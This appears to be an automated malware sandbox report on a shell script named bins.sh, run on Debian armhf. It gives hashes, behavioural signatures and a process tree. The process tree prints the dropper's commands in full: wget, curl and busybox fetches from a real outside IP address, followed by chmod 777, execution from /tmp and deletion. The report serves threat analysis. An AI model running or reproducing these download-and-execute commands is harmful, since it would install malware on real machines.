Overview

overview

7

Static

static

1

bins.sh

ubuntu-18.04-amd64

7

bins.sh

debian-9-armhf

7

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    6s
  • max time network
    33s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/11/2024, 22:00

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241121-1wt5payjd1
  • SHA256 8eb9e769aba2765264b05345252e74acb782904d8b464443a8141334d692b53b
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:662
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:664
        • /usr/bin/wget
          wget http://87.120.125.191/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:684
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
          2⤵
          • Writes file to tmp directory
          PID:691
        • /bin/chmod
          chmod 777 bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
          2⤵
          • File and Directory Permissions Modification
          PID:693
        • /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
          ./bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
          2⤵
          • Executes dropped EXE
          PID:694
        • /bin/rm
          rm bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
          2⤵
            PID:696
          • /usr/bin/wget
            wget http://87.120.125.191/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
            2⤵
              PID:697
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:706
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
              2⤵
                PID:712
              • /bin/chmod
                chmod 777 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
                2⤵
                • File and Directory Permissions Modification
                PID:716
              • /tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
                ./4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
                2⤵
                • Executes dropped EXE
                PID:717
              • /bin/rm
                rm 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
                2⤵
                  PID:718
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
                  2⤵
                    PID:720
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:724
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
                    2⤵
                      PID:729
                    • /bin/chmod
                      chmod 777 SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
                      2⤵
                      • File and Directory Permissions Modification
                      PID:732
                    • /tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
                      ./SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
                      2⤵
                      • Executes dropped EXE
                      PID:734
                    • /bin/rm
                      rm SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
                      2⤵
                        PID:736
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
                        2⤵
                          PID:737

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
                            • Path /tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
                            • Size 153B
                            • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                            • MD5 SHA1 SHA512
                            Submit Download

                            bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
                            • Path /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
                            • Size 111KB
                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download